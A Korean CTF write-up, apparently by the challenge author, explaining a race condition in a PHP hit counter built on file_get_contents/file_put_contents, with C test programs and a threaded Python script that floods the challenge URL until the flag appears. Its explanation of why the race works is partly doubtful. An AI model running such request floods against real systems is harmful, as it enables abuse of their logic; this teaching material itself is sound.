Race condition vulnerability in PHP (feat. 고등해커)
고등해커는 올해 처음으로 학생이 주도 및 운영해본 교내 CTF입니다. 저는 CTF플랫폼 제작과 웹 문제 출제를 담당했으며, 출제한 문제 중 친구들이 재밌게 풀어준 count라는 문제에 대해 간단히 풀이를 작성해보겠습니다.
count는 PHP의 파일 입출력에서 발생할 수 있는 레이스컨디션 문제이며, flag를 얻는 것이 불가능해보이는 상황에서 레이스컨디션 공격을 이해하고 flag를 획득할 수 있는지 묻는 간단한 문제였습니다. 다음은 문제의 소스코드입니다.
<?php
error_reporting(0);
require_once 'flag.php';
if(isset($_GET['source'])) {
show_source(__FILE__);
exit;
}
$cnt_file = 'cnt';
if(!file_exists($cnt_file)) {
file_put_contents($cnt_file, '10');
}
$cnt = (int)file_get_contents($cnt_file); // read count
if($cnt >= 30) {
$cnt = 10;
}
$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt); // write count
if($cnt == 1) {
die($flag);
}
echo "your cnt: ".$cnt;
?>
<br><a href="?source">source</a>
레이스컨디션(Race condition):
레이스컨디션은 한정된 리소스를 둘 이상의 프로세스가 동시에 이용하려고 경쟁하는 현상을 의미하며 이러한 특이점을 이용해 해커가 원하는 결과를 도출해내는 것을 레이스컨디션 공격이라고 합니다. 보다 자세한 정보는 링크를 참고해주세요.
count 문제는 레이스컨디션 공격을 통해 $cnt
변수를 1로 만들어 flag를 얻는 문제이며, 풀이를 설명하기 앞서 PHP의 file_get_contents
함수와 file_put_contents
함수의 내부 동작에 대해 알고있으면 좋습니다.
File I/O Functions of PHP
PHP의 file_get_contents
, file_put_contents
함수는 가장 많이 쓰이는 파일 입출력 기능으로 fopen
, fread
, fwrite
, fclose
등의 기존 파일 입출력 함수를 쓰기 편하게 하나로 합쳐놓은 함수입니다. 다음은 간단한 사용 예시입니다.
echo file_get_contents('readme.txt');
file_put_contents('writeme.txt', 'hello');
여기서 중요한 점은, 결국 PHP엔진은 C로 작성되었기 때문에 file_get_contents
나 file_put_contents
함수를 내부적으로 결국 fopen
을 사용하여 파일의 포인터를 가져오며 이는 fclose
로 닫아줘야 하는 것을 의미합니다.
만약 fclose
함수를 호출하지 않은 열려 있는 파일 포인터를 fopen
함수로 열면 어떻게 될까요? 한번 테스트해보았습니다.
#include <stdio.h>
int main(void) {
FILE *f1;
FILE *f2;
char filename[] = "readme.txt";
char text[100];
f1 = fopen(filename, "wb");
fprintf(f1, "hello");
f2 = fopen(filename, "r");
fread(text, sizeof(char), 100, f2);
printf("%s", text);
return 0;
}
f1 파일 포인터가 닫히지 않은 상태에서 f2로 readme.txt를 읽어보았습니다. 위 코드의 실행 결과는 다음과 같습니다.
root@munsiwoo:~# ./a.out
root@munsiwoo:~#
파일의 내용이 나오지 않는 것을 확인할 수 있습니다. 다음은 fclose
함수를 이용해 f1 파일 포인터를 닫아주는 코드를 추가하여 실행한 결과입니다.
#include <stdio.h>
int main(void) {
FILE *f1;
FILE *f2;
char filename[] = "readme.txt";
char text[100];
f1 = fopen(filename, "wb");
fprintf(f1, "hello");
fclose(f1); // 추가된 코드
f2 = fopen(filename, "r");
fread(text, sizeof(char), 100, f2);
printf("%s", text);
return 0;
}
결과:
root@munsiwoo:~# ./a.out
hello
이제서야 정상적으로 출력되는 것을 확인할 수 있습니다. 다시 문제의 PHP코드로 돌아와, 만약 동시에 여러개의 스레드를 통해 아직 닫히지 않은(fclose
함수가 호출되지 않은) 파일을 file_get_contents
로 한번 더 fopen
했을 때의 동작을 예상할 수 있다면 해당 문제를 풀 수 있습니다.
결과적으로 이미 열려있는 파일을 file_get_contents
로 가져오면 내부에서 false
를 반환하게 되고 $cnt = $cnt + 1
를 통해 $cnt
에는 1이 들어가게 됩니다.
Intended solution:
import requests
import threading
def request(sandbox):
global response
uri = 'http://game.withphp.com/sandbox/' + sandbox
response = requests.get(uri).text
if __name__ == '__main__':
sandbox = '80e30ab2318c6a531cdde54c009a54ca/'
response = ''
while True:
threading.Thread(target=request, args=(sandbox,)).start()
if 'Sunrin{' in response: # flag format is Sunrin{...}
print(response, flush=True)
break
print('End', flush=True)